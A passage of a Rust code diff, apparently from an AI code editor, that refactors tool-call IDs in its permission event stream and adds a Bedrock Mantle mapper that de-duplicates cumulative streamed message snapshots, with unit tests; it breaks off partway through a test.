         let stream = ToolCallEventStream::new(
             "test_id".into(),
+            acp::ToolCallId::new("test_id"),
             ThreadEventStream(events_tx),
             None,
             cancellation_rx,
@@ -5444,6 +5498,7 @@ impl ToolCallEventStream {
 
         let stream = ToolCallEventStream::new(
             "test_id".into(),
+            acp::ToolCallId::new("test_id"),
             ThreadEventStream(events_tx),
             None,
             cancellation_rx,
@@ -5466,6 +5521,7 @@ impl ToolCallEventStream {
 
     fn new(
         tool_use_id: LanguageModelToolUseId,
+        tool_call_id: acp::ToolCallId,
         stream: ThreadEventStream,
         fs: Option<Arc<dyn Fs>>,
         cancellation_rx: watch::Receiver<bool>,
@@ -5474,6 +5530,7 @@ impl ToolCallEventStream {
     ) -> Self {
         Self {
             tool_use_id,
+            tool_call_id,
             stream,
             fs,
             cancellation_rx,
@@ -5531,7 +5588,7 @@ impl ToolCallEventStream {
 
     pub fn update_fields(&self, fields: acp::ToolCallUpdateFields) {
         self.stream
-            .update_tool_call_fields(&self.tool_use_id, fields, None);
+            .update_tool_call_fields(&self.tool_call_id, fields, None);
     }
 
     pub fn update_fields_with_meta(
@@ -5540,12 +5597,12 @@ impl ToolCallEventStream {
         meta: Option<acp::Meta>,
     ) {
         self.stream
-            .update_tool_call_fields(&self.tool_use_id, fields, meta);
+            .update_tool_call_fields(&self.tool_call_id, fields, meta);
     }
 
     pub fn resolve_authorization(&self, outcome: acp_thread::SelectedPermissionOutcome) {
         self.stream
-            .resolve_tool_call_authorization(&self.tool_use_id, outcome);
+            .resolve_tool_call_authorization(&self.tool_call_id, outcome);
     }
 
     pub fn update_diff(&self, diff: Entity<acp_thread::Diff>) {
@@ -5553,7 +5610,7 @@ impl ToolCallEventStream {
             .0
             .unbounded_send(Ok(ThreadEvent::ToolCallUpdate(
                 acp_thread::ToolCallUpdateDiff {
-                    id: acp::ToolCallId::new(self.tool_use_id.to_string()),
+                    id: self.tool_call_id.clone(),
                     diff,
                 }
                 .into(),
@@ -5748,7 +5805,7 @@ impl ToolCallEventStream {
 
         let fs = self.fs.clone();
         let stream = self.stream.clone();
-        let tool_use_id = self.tool_use_id.clone();
+        let tool_call_id = self.tool_call_id.clone();
         let sandbox_grants = self.sandbox_grants.clone();
         let thread = self.thread.clone();
         let auto_allow_outcome = match auto_resolve_permission_outcome(&options, true) {
@@ -5762,7 +5819,7 @@ impl ToolCallEventStream {
                 .unbounded_send(Ok(ThreadEvent::ToolCallAuthorization(
                     ToolCallAuthorization {
                         tool_call: acp::ToolCallUpdate::new(
-                            tool_use_id.to_string(),
+                            tool_call_id.clone(),
                             // Leave the title untouched so the card keeps
                             // showing the command (matching the fallback flow).
                             acp::ToolCallUpdateFields::new(),
@@ -5815,7 +5872,7 @@ impl ToolCallEventStream {
                         )) {
                             drop(response_rx);
                             stream.resolve_tool_call_authorization(
-                                &tool_use_id,
+                                &tool_call_id,
                                 auto_allow_outcome.clone(),
                             );
                             return Ok(());
@@ -6050,7 +6107,7 @@ impl ToolCallEventStream {
 
         let fs = self.fs.clone();
         let stream = self.stream.clone();
-        let tool_use_id = self.tool_use_id.clone();
+        let tool_call_id = self.tool_call_id.clone();
         let sandbox_grants = self.sandbox_grants.clone();
         let thread = self.thread.clone();
         cx.spawn(async move |cx| {
@@ -6065,7 +6122,7 @@ impl ToolCallEventStream {
                         // they're approving to run unsandboxed. The reason is
                         // surfaced separately by the fallback details / warning.
                         tool_call: acp::ToolCallUpdate::new(
-                            tool_use_id.to_string(),
+                            tool_call_id.clone(),
                             acp::ToolCallUpdateFields::new(),
                         )
                         .meta(
@@ -6156,7 +6213,7 @@ impl ToolCallEventStream {
     ) -> Task<Result<acp::PermissionOptionId>> {
         let options = acp_thread::PermissionOptions::Flat(options);
         let stream = self.stream.clone();
-        let tool_use_id = self.tool_use_id.clone();
+        let tool_call_id = self.tool_call_id.clone();
         cx.spawn(async move |_cx| {
             let mut fields = acp::ToolCallUpdateFields::new();
             if let Some(title) = title {
@@ -6171,7 +6228,7 @@ impl ToolCallEventStream {
                 .0
                 .unbounded_send(Ok(ThreadEvent::ToolCallAuthorization(
                     ToolCallAuthorization {
-                        tool_call: acp::ToolCallUpdate::new(tool_use_id.to_string(), fields),
+                        tool_call: acp::ToolCallUpdate::new(tool_call_id.clone(), fields),
                         options,
                         response: response_tx,
                         context: None,
@@ -6223,7 +6280,7 @@ impl ToolCallEventStream {
 
         let fs = self.fs.clone();
         let stream = self.stream.clone();
-        let tool_use_id = self.tool_use_id.clone();
+        let tool_call_id = self.tool_call_id.clone();
         let auto_resolution_outcomes = if check_settings.is_some() {
             match (
                 auto_resolve_permission_outcome(&options, true),
@@ -6242,7 +6299,7 @@ impl ToolCallEventStream {
                 .unbounded_send(Ok(ThreadEvent::ToolCallAuthorization(
                     ToolCallAuthorization {
                         tool_call: acp::ToolCallUpdate::new(
-                            tool_use_id.to_string(),
+                            tool_call_id.clone(),
                             acp::ToolCallUpdateFields::new().title(title),
                         ),
                         options,
@@ -6301,7 +6358,7 @@ impl ToolCallEventStream {
                             ToolPermissionDecision::Allow => {
                                 drop(response_rx);
                                 stream.resolve_tool_call_authorization(
-                                    &tool_use_id,
+                                    &tool_call_id,
                                     auto_allow_outcome.clone(),
                                 );
                                 return Ok(());
@@ -6309,7 +6366,7 @@ impl ToolCallEventStream {
                             ToolPermissionDecision::Deny(reason) => {
                                 drop(response_rx);
                                 stream.resolve_tool_call_authorization(
-                                    &tool_use_id,
+                                    &tool_call_id,
                                     auto_deny_outcome.clone(),
                                 );
                                 return Err(anyhow!(reason));
@@ -8045,8 +8102,16 @@ mod tests {
             }
         }
 
-        assert!(tool_use_ids_with_image_content.contains(&registered_tool_use_id.to_string()));
-        assert!(tool_use_ids_with_image_content.contains(&missing_tool_use_id.to_string()));
+        // Both tool uses live in the message pushed above, at index 0 (see
+        // `scoped_tool_call_id`).
+        assert!(
+            tool_use_ids_with_image_content
+                .contains(&scoped_tool_call_id(0, &registered_tool_use_id).to_string())
+        );
+        assert!(
+            tool_use_ids_with_image_content
+                .contains(&scoped_tool_call_id(0, &missing_tool_use_id).to_string())
+        );
     }
 
     #[gpui::test]
@@ -8243,7 +8308,7 @@ mod tests {
 
         let (_cancellation_tx, cancellation_rx) = watch::channel(false);
 
-        let result = cx
+        let (_owning_message_ix, result) = cx
             .update(|cx| {
                 thread.update(cx, |thread, cx| {
                     // Call the function under test
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index b686a3d11f3148..15a3d22fa9436e 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -49,6 +49,7 @@ use language_model::{
     SubPageProviderSettings, TokenUsage, env_var,
 };
 use open_ai::responses::Request as OpenAiResponseRequest;
+use open_ai::responses::{ResponseOutputItem, StreamEvent as OpenAiResponseStreamEvent};
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
@@ -1278,6 +1279,437 @@ fn strip_unsupported_mantle_response_fields(request: &mut OpenAiResponseRequest)
     request.context_management = None;
 }
 
+#[derive(Debug, PartialEq, Eq, Clone, Copy)]
+enum MantleMessageSnapshotKind {
+    Undetermined,
+    Cumulative,
+    Independent,
+}
+
+struct MantleMessageSnapshot {
+    item_id: String,
+    text: String,
+    emitted_text_length: usize,
+    kind: MantleMessageSnapshotKind,
+    phase: Option<String>,
+    output_index: usize,
+    content_index: Option<usize>,
+}
+
+/// The most recently completed message item, used to detect Mantle's cumulative
+/// snapshot replays.
+#[derive(Clone)]
+struct MantlePreviousMessage {
+    text: String,
+    phase: Option<String>,
+}
+
+/// Adapts Mantle's cumulative Responses message snapshots to incremental events.
+///
+/// Mantle can emit a new message item containing all text produced so far, then
+/// replay the corresponding output deltas. The shared OpenAI mapper assumes each
+/// delta is new text, so forwarding those events directly duplicates the reply.
+///
+/// Only adjacent, same-phase, strict-prefix extensions are collapsed. Equal,
+/// shrinking, divergent, or different-phase messages stay visible. Any non-message
+/// output item (reasoning, tool call, etc.) is a hard boundary: it is forwarded
+/// unchanged and clears the snapshot used for collapsing, so a message after a
+/// tool call is never merged with the one before it.
+struct MantleResponseEventMapper {
+    open_ai_mapper: OpenAiResponseEventMapper,
+    current_message: Option<MantleMessageSnapshot>,
+    previous_message: Option<MantlePreviousMessage>,
+    pending_message_events: Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>,
+}
+
+impl MantleResponseEventMapper {
+    fn new() -> Self {
+        Self {
+            open_ai_mapper: OpenAiResponseEventMapper::new(),
+            current_message: None,
+            previous_message: None,
+            pending_message_events: Vec::new(),
+        }
+    }
+
+    fn map_stream(
+        mut self,
+        events: BoxStream<'static, Result<OpenAiResponseStreamEvent>>,
+    ) -> BoxStream<'static, Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>
+    {
+        events
+            .flat_map(move |event| {
+                futures::stream::iter(match event {
+                    Ok(event) => self.map_event(event),
+                    Err(error) => {
+                        let mut events = self.finish_current_message();
+                        events.push(Err(LanguageModelCompletionError::from(error)));
+                        events
+                    }
+                })
+            })
+            .boxed()
+    }
+
+    fn map_event(
+        &mut self,
+        event: OpenAiResponseStreamEvent,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        match event {
+            OpenAiResponseStreamEvent::OutputItemAdded {
+                output_index,
+                sequence_number,
+                item,
+            } => match &item {
+                ResponseOutputItem::Message(message) => {
+                    let mut events = self.finish_current_message();
+                    let item_id = message.id.clone();
+                    let phase = message.phase.clone();
+                    if let Some(item_id) = item_id {
+                        self.current_message = Some(MantleMessageSnapshot {
+                            item_id,
+                            text: String::new(),
+                            emitted_text_length: 0,
+                            kind: MantleMessageSnapshotKind::Undetermined,
+                            phase,
+                            output_index,
+                            content_index: None,
+                        });
+
+                        self.map_message_added(OpenAiResponseStreamEvent::OutputItemAdded {
+                            output_index,
+                            sequence_number,
+                            item,
+                        });
+                    } else {
+                        self.flush_pending_message(&mut events, false);
+                        events.extend(self.open_ai_mapper.map_event(
+                            OpenAiResponseStreamEvent::OutputItemAdded {
+                                output_index,
+                                sequence_number,
+                                item,
+                            },
+                        ));
+                    }
+                    events
+                }
+                _ => {
+                    let mut events = self.finish_current_message();
+                    self.previous_message = None;
+                    events.extend(self.open_ai_mapper.map_event(
+                        OpenAiResponseStreamEvent::OutputItemAdded {
+                            output_index,
+                            sequence_number,
+                            item,
+                        },
+                    ));
+                    events
+                }
+            },
+            OpenAiResponseStreamEvent::OutputTextDelta {
+                item_id,
+                output_index,
+                content_index,
+                delta,
+            } => self.map_text_delta(item_id, output_index, content_index, delta),
+            OpenAiResponseStreamEvent::OutputTextDone {
+                item_id,
+                output_index,
+                content_index,
+                text,
+            } => {
+                let suffix = self
+                    .current_message
+                    .as_ref()
+                    .filter(|message| message.item_id == item_id)
+                    .and_then(|message| text.strip_prefix(&message.text))
+                    .map(str::to_string);
+                if let Some(suffix) = suffix {
+                    if suffix.is_empty() {
+                        return Vec::new();
+                    }
+                    return self.map_text_delta(item_id, output_index, content_index, suffix);
+                }
+
+                let mut events = self.finish_current_message();
+                events.extend(self.open_ai_mapper.map_event(
+                    OpenAiResponseStreamEvent::OutputTextDone {
+                        item_id,
+                        output_index,
+                        content_index,
+                        text,
+                    },
+                ));
+                events
+            }
+            OpenAiResponseStreamEvent::ContentPartAdded { ref item_id, .. }
+            | OpenAiResponseStreamEvent::ContentPartDone { ref item_id, .. }
+            | OpenAiResponseStreamEvent::RefusalDelta { ref item_id, .. }
+            | OpenAiResponseStreamEvent::RefusalDone { ref item_id, .. }
+                if self
+                    .current_message
+                    .as_ref()
+                    .is_some_and(|message| &message.item_id == item_id) =>
+            {
+                self.open_ai_mapper.map_event(event)
+            }
+            OpenAiResponseStreamEvent::OutputItemDone {
+                output_index,
+                sequence_number,
+                item,
+            } => {
+                if let ResponseOutputItem::Message(message) = &item
+                    && let Some(item_id) = message.id.as_ref()
+                    && let Some(current_message) = self.current_message.as_mut()
+                    && &current_message.item_id == item_id
+                {
+                    current_message.phase = message.phase.clone();
+                }
+
+                let is_non_message = !matches!(item, ResponseOutputItem::Message(_));
+                let was_merged = matches!(
+                    self.current_message.as_ref(),
+                    Some(current_message)
+                        if current_message.kind == MantleMessageSnapshotKind::Cumulative
+                );
+                let mut events = self.finish_current_message();
+                if is_non_message {
+                    self.previous_message = None;
+                }
+                let done_events =
+                    self.open_ai_mapper
+                        .map_event(OpenAiResponseStreamEvent::OutputItemDone {
+                            output_index,
+                            sequence_number,
+                            item,
+                        });
+                if was_merged {
+                    // The message was merged into the previous one, so the phase/
+                    // reasoning metadata this `OutputItemDone` would otherwise emit
+                    // again is already reflected by the metadata emitted earlier.
+                    events.extend(done_events.into_iter().filter(|event| {
+                        !matches!(event, Ok(LanguageModelCompletionEvent::ReasoningDetails(_)))
+                    }));
+                } else {
+                    events.extend(done_events);
+                }
+                events
+            }
+            event => {
+                let mut events = self.finish_current_message();
+                events.extend(self.open_ai_mapper.map_event(event));
+                events
+            }
+        }
+    }
+
+    fn map_message_added(&mut self, event: OpenAiResponseStreamEvent) {
+        debug_assert!(
+            self.pending_message_events.is_empty(),
+            "pending message events must be flushed before a new message is added"
+        );
+        self.pending_message_events = self.open_ai_mapper.map_event(event);
+    }
+
+    fn map_text_delta(
+        &mut self,
+        item_id: String,
+        output_index: usize,
+        content_index: Option<usize>,
+        delta: String,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        if !self
+            .current_message
+            .as_ref()
+            .is_some_and(|current_message| current_message.item_id == item_id)
+        {
+            let mut events = self.finish_current_message();
+            events.extend(self.open_ai_mapper.map_event(
+                OpenAiResponseStreamEvent::OutputTextDelta {
+                    item_id,
+                    output_index,
+                    content_index,
+                    delta,
+                },
+            ));
+            return events;
+        }
+
+        let Some(current_message) = self.current_message.as_mut() else {
+            return Vec::new();
+        };
+        current_message.text.push_str(&delta);
+        current_message.output_index = output_index;
+        current_message.content_index = content_index;
+        let kind = current_message.kind;
+
+        match kind {
+            MantleMessageSnapshotKind::Undetermined => {
+                let snapshot = current_message.text.clone();
+                let phase = current_message.phase.clone();
+                let previous = self.previous_message.clone();
+
+                if let Some(previous) = previous
+                    && previous.phase == phase
+                {
+                    // Strict same-phase extension: previous text is a proper prefix of
+                    // the new snapshot. Collapse the replayed prefix and emit only the
+                    // suffix.
+                    if snapshot.starts_with(&previous.text) && snapshot.len() > previous.text.len()
+                    {
+                        if let Some(current_message) = self.current_message.as_mut() {
+                            current_message.kind = MantleMessageSnapshotKind::Cumulative;
+                            current_message.emitted_text_length = previous.text.len();
+                        }
+                        let mut events = Vec::new();
+                        self.flush_pending_message(&mut events, true);
+                        events.extend(self.map_snapshot_suffix(output_index, content_index));
+                        return events;
+                    }
+
+                    // The snapshot is still a prefix of (or equal to) the previous
+                    // message. A genuine cumulative replay keeps growing past the
+                    // previous text, so defer the decision and withhold emission
+                    // until it either exceeds the previous text or diverges.
+                    if previous.text.starts_with(&snapshot) {
+                        return Vec::new();
+                    }
+                }
+
+                // Diverged from the previous message, had a different phase, or there
+                // was no previous message: this is an independent message.
+                if let Some(current_message) = self.current_message.as_mut() {
+                    current_message.kind = MantleMessageSnapshotKind::Independent;
+                }
+                let mut events = Vec::new();
+                self.flush_pending_message(&mut events, false);
+                events.extend(self.map_text_event(item_id, output_index, content_index, snapshot));
+                events
+            }
+            MantleMessageSnapshotKind::Cumulative => {
+                self.map_snapshot_suffix(output_index, content_index)
+            }
+            MantleMessageSnapshotKind::Independent => {
+                self.map_text_event(item_id, output_index, content_index, delta)
+            }
+        }
+    }
+
+    fn map_snapshot_suffix(
+        &mut self,
+        output_index: usize,
+        content_index: Option<usize>,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        let (item_id, suffix) = {
+            let Some(current_message) = self.current_message.as_mut() else {
+                return Vec::new();
+            };
+
+            if current_message.text.len() <= current_message.emitted_text_length {
+                return Vec::new();
+            }
+
+            let suffix = current_message.text[current_message.emitted_text_length..].to_string();
+            current_message.emitted_text_length = current_message.text.len();
+            (current_message.item_id.clone(), suffix)
+        };
+
+        self.map_text_event(item_id, output_index, content_index, suffix)
+    }
+
+    fn map_text_event(
+        &mut self,
+        item_id: String,
+        output_index: usize,
+        content_index: Option<usize>,
+        delta: String,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        if delta.is_empty() {
+            return Vec::new();
+        }
+
+        self.open_ai_mapper
+            .map_event(OpenAiResponseStreamEvent::OutputTextDelta {
+                item_id,
+                output_index,
+                content_index,
+                delta,
+            })
+    }
+
+    fn finish_current_message(
+        &mut self,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        let mut events = Vec::new();
+        self.finish_current_message_into(&mut events);
+        events
+    }
+
+    fn finish_current_message_into(
+        &mut self,
+        events: &mut Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>,
+    ) {
+        let Some(current_message) = self.current_message.take() else {
+            self.flush_pending_message(events, false);
+            return;
+        };
+
+        match current_message.kind {
+            MantleMessageSnapshotKind::Cumulative => {
+                self.flush_pending_message(events, true);
+            }
+            MantleMessageSnapshotKind::Independent => {
+                self.flush_pending_message(events, false);
+            }
+            MantleMessageSnapshotKind::Undetermined => {
+                // The message never exceeded or diverged from the previous one, so
+                // it could not be confirmed as a cumulative replay. Treat it as an
+                // independent message: emit the withheld StartMessage and any text
+                // accumulated while deferring the decision.
+                self.flush_pending_message(events, false);
+                if !current_message.text.is_empty() {
+                    events.extend(self.map_text_event(
+                        current_message.item_id.clone(),
+                        current_message.output_index,
+                        current_message.content_index,
+                        current_message.text.clone(),
+                    ));
+                }
+            }
+        }
+
+        if !current_message.text.is_empty() {
+            self.previous_message = Some(MantlePreviousMessage {
+                text: current_message.text,
+                phase: current_message.phase,
+            });
+        }
+    }
+
+    fn flush_pending_message(
+        &mut self,
+        events: &mut Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>,
+        suppress_start_message: bool,
+    ) {
+        for event in self.pending_message_events.drain(..) {
+            // When merging into the previous message, the phase/reasoning metadata
+            // can't have changed since it was last emitted (a merge only happens for
+            // adjacent, same-phase messages with no reasoning item in between), so
+            // suppress both the StartMessage and the now-redundant ReasoningDetails.
+            if suppress_start_message
+                && matches!(
+                    event,
+                    Ok(LanguageModelCompletionEvent::StartMessage { .. })
+                        | Ok(LanguageModelCompletionEvent::ReasoningDetails(_))
+                )
+            {
+                continue;
+            }
+            events.push(event);
+        }
+    }
+}
+
 struct BedrockMantleModel {
     id: LanguageModelId,
     model: MantleModel,
@@ -1477,7 +1909,7 @@ impl LanguageModel for BedrockMantleModel {
                 );
                 let completions = self.stream_response(request, cx);
                 async move {
-                    let mapper = OpenAiResponseEventMapper::new();
+                    let mapper = MantleResponseEventMapper::new();
                     Ok(mapper.map_stream(completions.await?).boxed())
                 }
                 .boxed()
@@ -2442,6 +2874,9 @@ impl ConfigurationView {
 mod tests {
     use super::*;
     use language_model::LanguageModelRequestMessage;
+    use open_ai::responses::{
+        ResponseFunctionToolCall, ResponseOutputMessage, ResponseReasoningItem,
+    };
 
     fn into_bedrock_request(messages: Vec<LanguageModelRequestMessage>) -> bedrock::Request {
         into_bedrock(
@@ -2604,6 +3039,531 @@ mod tests {
         assert!(!MANTLE_SUPPORTED_REGIONS.contains(&"ap-southeast-1"));
     }
 
+    fn mantle_message_item(id: &str) -> ResponseOutputItem {
+        mantle_message_item_with_phase(id, None)
+    }
+
+    fn mantle_message_item_with_phase(id: &str, phase: Option<&str>) -> ResponseOutputItem {
+        ResponseOutputItem::Message(ResponseOutputMessage {
+            id: Some(id.to_string()),
+            content: Vec::new(),
+            role: Some("assistant".to_string()),
+            status: Some("in_progress".to_string()),
+            phase: phase.map(str::to_string),
+        })
+    }
+
+    fn mantle_function_call_item(id: &str, name: &str, call_id: &str) -> ResponseOutputItem {
+        ResponseOutputItem::FunctionCall(ResponseFunctionToolCall {
+            id: Some(id.to_string()),
+            arguments: String::new(),
+            call_id: Some(call_id.to_string()),
+            name: Some(name.to_string()),
+            status: Some("in_progress".to_string()),
+        })
+    }
+
+    fn mantle_reasoning_item(id: &str) -> ResponseOutputItem {
+        ResponseOutputItem::Reasoning(ResponseReasoningItem {
+            id: Some(id.to_string()),
+            summary: Vec::new(),
+            content: Vec::new(),
+            encrypted_content: None,
+            status: Some("in_progress".to_string()),
+        })
+    }
+
+    fn text_delta(item_id: &str, output_index: usize, delta: &str) -> OpenAiResponseStreamEvent {
+        OpenAiResponseStreamEvent::OutputTextDelta {
+            item_id: item_id.to_string(),
+            output_index,
+            content_index: Some(0),
+            delta: delta.to_string(),
+        }
+    }
+
+    fn item_added(output_index: usize, item: ResponseOutputItem) -> OpenAiResponseStreamEvent {
+        OpenAiResponseStreamEvent::OutputItemAdded {
+            output_index,
+            sequence_number: None,
+            item,
+        }
+    }
+
+    fn item_done(output_index: usize, item: ResponseOutputItem) -> OpenAiResponseStreamEvent {
+        OpenAiResponseStreamEvent::OutputItemDone {
+            output_index,
+            sequence_number: None,
+            item,
+        }
+    }
+
+    fn map_mantle_response_events(
+        events: Vec<OpenAiResponseStreamEvent>,
+    ) -> Vec<LanguageModelCompletionEvent> {
+        let mut mapper = MantleResponseEventMapper::new();
+        events
+            .into_iter()
+            .flat_map(|event| mapper.map_event(event))
+            .map(|event| event.expect("Mantle response event should map successfully"))
+            .collect()
+    }
+
+    // Keeps only StartMessage and Text events so phase/reasoning tests can assert on
+    // message boundaries without depending on incidental ReasoningDetails metadata.
+    fn start_messages_and_texts(
+        events: Vec<LanguageModelCompletionEvent>,
+    ) -> Vec<LanguageModelCompletionEvent> {
+        events
+            .into_iter()
+            .filter(|event| {
+                matches!(
+                    event,
+                    LanguageModelCompletionEvent::StartMessage { .. }
+                        | LanguageModelCompletionEvent::Text(_)
+                )
+            })
+            .collect()
+    }
+
+    #[test]
+    fn mantle_response_mapper_coalesces_cumulative_message_snapshots() {
+        let first_message = mantle_message_item("msg_1");
+        let second_message = mantle_message_item("msg_2");
+        let events = map_mantle_response_events(vec![
+            OpenAiResponseStreamEvent::OutputItemAdded {
+                output_index: 0,
+                sequence_number: None,
+                item: first_message.clone(),
+            },
+            OpenAiResponseStreamEvent::OutputTextDelta {
+                item_id: "msg_1".to_string(),
+                output_index: 0,
+                content_index: Some(0),
+                delta: "Plan: rename".to_string(),
+            },
+            OpenAiResponseStreamEvent::OutputItemDone {
+                output_index: 0,
+                sequence_number: None,
+                item: first_message,
+            },
+            OpenAiResponseStreamEvent::OutputItemAdded {
+                output_index: 1,
+                sequence_number: None,
+                item: second_message.clone(),
+            },
+            OpenAiResponseStreamEvent::OutputTextDelta {
+                item_id: "msg_2".to_string(),
+                output_index: 1,
+                content_index: Some(0),
+                delta: "Plan: rename".to_string(),
+            },
+            OpenAiResponseStreamEvent::OutputTextDelta {
+                item_id: "msg_2".to_string(),
+                output_index: 1,
+                content_index: Some(0),
+                delta: " and regenerate".to_string(),
+            },
+            OpenAiResponseStreamEvent::OutputItemDone {
+                output_index: 1,
+                sequence_number: None,
+                item: second_message,
+            },
+            OpenAiResponseStreamEvent::Completed {
+                response: open_ai::responses::ResponseSummary::default(),
+            },
+        ]);
+
+        assert_eq!(
+            events,
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan: rename".to_string()),
+                LanguageModelCompletionEvent::Text(" and regenerate".to_string()),
+                LanguageModelCompletionEvent::Stop(language_model::StopReason::EndTurn),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_preserves_independent_messages() {
+        let first_message = mantle_message_item("msg_1");
+        let second_message = mantle_message_item("msg_2");
+        let events = map_mantle_response_events(vec![
+            OpenAiResponseStreamEvent::OutputItemAdded {
+                output_index: 0,
+                sequence_number: None,
+                item: first_message.clone(),
+            },
+            OpenAiResponseStreamEvent::OutputTextDelta {
+                item_id: "msg_1".to_string(),
+                output_index: 0,
+                content_index: Some(0),
+                delta: "Plan".to_string(),
+            },
+            OpenAiResponseStreamEvent::OutputItemDone {
+                output_index: 0,
+                sequence_number: None,
+                item: first_message,
+            },
+            OpenAiResponseStreamEvent::OutputItemAdded {
+                output_index: 1,
+                sequence_number: None,
+                item: second_message.clone(),
+            },
+            OpenAiResponseStreamEvent::OutputTextDelta {
+                item_id: "msg_2".to_string(),
+                output_index: 1,
+                content_index: Some(0),
+                delta: "Final answer".to_string(),
+            },
+            OpenAiResponseStreamEvent::OutputItemDone {
+                output_index: 1,
+                sequence_number: None,
+                item: second_message,
+            },
+        ]);
+
+        assert_eq!(
+            events,
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan".to_string()),
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_2".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Final answer".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_coalesces_chained_cumulative_snapshots() {
+        // Each merge must thread `previous_message`/`emitted_text_length`
+        // through to the next.
+        let first_message = mantle_message_item("msg_1");
+        let second_message = mantle_message_item("msg_2");
+        let third_message = mantle_message_item("msg_3");
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan"),
+            item_done(0, first_message),
+            item_added(1, second_message.clone()),
+            text_delta("msg_2", 1, "Plan and go"),
+            item_done(1, second_message),
+            item_added(2, third_message.clone()),
+            text_delta("msg_3", 2, "Plan and go further"),
+            item_done(2, third_message),
+        ]);
+
+        assert_eq!(
+            events,
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan".to_string()),
+                LanguageModelCompletionEvent::Text(" and go".to_string()),
+                LanguageModelCompletionEvent::Text(" further".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_keeps_message_state_across_content_events() {
+        let first_message = mantle_message_item("msg_1");
+        let second_message = mantle_message_item("msg_2");
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan"),
+            item_done(0, first_message),
+            item_added(1, second_message.clone()),
+            OpenAiResponseStreamEvent::ContentPartAdded {
+                item_id: "msg_2".to_string(),
+                output_index: 1,
+                content_index: 0,
+                part: serde_json::json!({"type": "output_text", "text": ""}),
+            },
+            text_delta("msg_2", 1, "Plan"),
+            text_delta("msg_2", 1, " and continue"),
+            OpenAiResponseStreamEvent::OutputTextDone {
+                item_id: "msg_2".to_string(),
+                output_index: 1,
+                content_index: Some(0),
+                text: "Plan and continue".to_string(),
+            },
+            OpenAiResponseStreamEvent::ContentPartDone {
+                item_id: "msg_2".to_string(),
+                output_index: 1,
+                content_index: 0,
+                part: serde_json::json!({"type": "output_text", "text": "Plan and continue"}),
+            },
+            item_done(1, second_message),
+        ]);
+
+        assert_eq!(
+            events,
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan".to_string()),
+                LanguageModelCompletionEvent::Text(" and continue".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_resets_on_non_message_item_done() {
+        let first_message = mantle_message_item("msg_1");
+        let second_message = mantle_message_item("msg_2");
+        let tool_call = mantle_function_call_item("call_1", "get_weather", "server_call_1");
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan"),
+            item_done(0, first_message),
+            item_done(1, tool_call),
+            item_added(2, second_message.clone()),
+            text_delta("msg_2", 2, "Plan continued"),
+            item_done(2, second_message),
+        ]);
+
+        assert_eq!(
+            start_messages_and_texts(events),
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan".to_string()),
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_2".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan continued".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_keeps_post_tool_message_separate_when_extending_prior_text() {
+        // A tool call sits between two messages. Even though the second message's
+        // text happens to extend the first message's text, the tool call is a hard
+        // boundary and the second message must remain a separate, visible message.
+        let first_message = mantle_message_item("msg_1");
+        let tool_call = mantle_function_call_item("call_1", "get_weather", "server_call_1");
+        let second_message = mantle_message_item("msg_2");
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan"),
+            item_done(0, first_message),
+            item_added(1, tool_call.clone()),
+            OpenAiResponseStreamEvent::FunctionCallArgumentsDone {
+                item_id: "call_1".to_string(),
+                output_index: 1,
+                arguments: "{\"city\":\"Boston\"}".to_string(),
+                sequence_number: None,
+            },
+            item_done(1, tool_call),
+            item_added(2, second_message.clone()),
+            text_delta("msg_2", 2, "Plan continued"),
+            item_done(2, second_message),
+        ]);
+
+        assert_eq!(
+            events,
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan".to_string()),
+                LanguageModelCompletionEvent::ToolUse(LanguageModelToolUse {
+                    id: language_model::LanguageModelToolUseId::from("server_call_1"),
+                    name: Arc::<str>::from("get_weather"),
+                    is_input_complete: true,
+                    input: language_model::LanguageModelToolUseInput::Json(
+                        serde_json::json!({"city": "Boston"}),
+                    ),
